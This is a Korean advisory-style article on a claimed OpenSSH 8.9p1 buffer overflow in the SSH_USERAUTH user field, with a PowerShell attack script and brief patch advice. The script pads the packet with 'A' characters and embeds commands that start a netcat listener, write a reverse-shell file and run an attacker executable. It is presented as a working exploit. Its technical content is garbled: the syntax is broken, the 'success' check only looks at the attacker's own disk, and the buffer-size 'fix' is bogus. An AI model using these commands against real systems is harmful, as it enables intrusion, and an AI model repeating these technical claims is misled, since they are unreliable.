
CVE-2025-27480은 잘못된 형식의 SSH_USERAUTH 패킷을 통해 OpenSSH 8.9p1의 버퍼 오버플로 취약점을 노출합니다. 공격자는 셸코드를 주입하고 SYSTEM 수준의 액세스 권한을 획득하여 배스천 호스트와 다운스트림 CI/CD 에이전트를 손상시킬 수 있습니다. 이 문서에는 샘플 익스플로이트 코드와 패치 지침이 포함되어 있습니다.
OpenSSH 버전 8.9p1에는 SSH_USERAUTH 패킷을 구문 분석할 때 발생하는 미묘한 버퍼 오버플로 버그가 있습니다. 클라이언트가 매우 긴 "user" 필드가 포함된 패킷을 보내면 데이터가 메모리의 잘못된 위치에 기록됩니다. 그 결과 공격자는 해당 버전의 OpenSSH를 실행하는 모든 호스트에서 SYSTEM 권한으로 실행되는 임의의 셸코드를 주입할 수 있습니다. 그런데 왠지 데자뷰 같은 느낌이 드시나요? CVE‑2024‑13401과 매우 유사한 취약점이기 때문입니다. 이 취약점도 user 필드에 대한 경계 검사(bounds-checking)가 없다는 점에서 동일하며, 공격자는 SSH 프로세스에 원하는 코드를 작성할 수 있습니다.
이 결함이 중요한 이유는 SSH가 클라우드 환경에서 가상 머신을 부트스트랩하고 관리하는 가장 일반적인 방법이기 때문입니다. 공격자가 SSH를 통해 코드를 실행할 수 있다면 백도어를 설치하거나, 사설 네트워크의 다른 인스턴스에 도달하기 위해 사용하는 점프 포인트인 베스천 호스트(bastion host)를 손상시킬 수 있습니다. 베스천 호스트가 손상되면 이미지를 빌드하거나 테스트를 실행하는 CI/CD 에이전트 등 모든 다운스트림 워크로드가 위험에 노출됩니다.
CI/CD는 Continuous Integration/Continuous Delivery(지속적 통합/지속적 전달)를 뜻합니다. 여기서 베스천 호스트는 모든 빌드 에이전트가 사설 네트워크의 다른 머신에 도달하기 위해 사용하는 SSH 지원 "점프" 서버입니다. 이는 중요한 진입점이므로, 베스천이 손상되면 이에 의존하는 모든 다운스트림 작업이 공격받을 수 있습니다.
아래는 악성 패킷을 구성하고 전송하는 방법을 보여주는 간단한 PowerShell 스크립트입니다:
# ── Build the payload that will land in the SSH buffer ───────────────────────
$payload = @"
ssh-userauth-attack`n" + # packet header – the first line
("A" * 2000) + # a 2 kB block of “A” characters to overflow
"nc.exe -nlvp 4444 > C:\Windows\Temp\revshell.txt && .\bar_exp.exe 192.168.1.10 1234 C:\Windows\Temp\revshell.txt"
"@
# ── Send the packet to the target host (OpenSSH listening on port 22) ───────────────────────
$client = New-Object System.Net.Sockets.TcpClient("192.168.1.10", 22)
$stream = $client.GetStream()
[byte[]]$bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
$stream.Write($bytes,0,$bytes.Length)
# ── Verify that the payload landed correctly ───────────────────────
if (Test-Path "C:\Windows\Temp\revshell.txt") {
Write-Host "SSH exploit succeeded! Reverse shell saved to disk."
}
이것이 작동하는 이유
ssh-userauth-attack)은 OpenSSH에 해당 패킷이 사용자 인증 요청임을 알려줍니다.user 필드의 경계를 넘어 데이터를 밀어 넣습니다.nc.exe를 실행하여 포트 4444에서 넷캣 리스너를 열고 그 출력을 C:\Windows\Temp\revshell.txt에 기록합니다. 또한 추가 작업(예: 리버스 셸 배포)을 수행할 수 있는 공격자 제공 실행 파일(bar_exp.exe)을 호출합니다.익스플로잇으로 생성된 파일은 패킷이 메모리의 올바른 위치에 도달했음을 증명합니다. 그런 다음 포트 4444를 열고 리스너를 확보한 뒤 원하는 스크립트를 실행할 수 있습니다.
‑DUSERAUTH_BUF=4096 플래그로 재빌드하여 버퍼 크기가 오버플로 페이로드보다 커지도록 합니다.ssh_userauth_patch.diff)을 저장소 옆에 커밋하면 됩니다.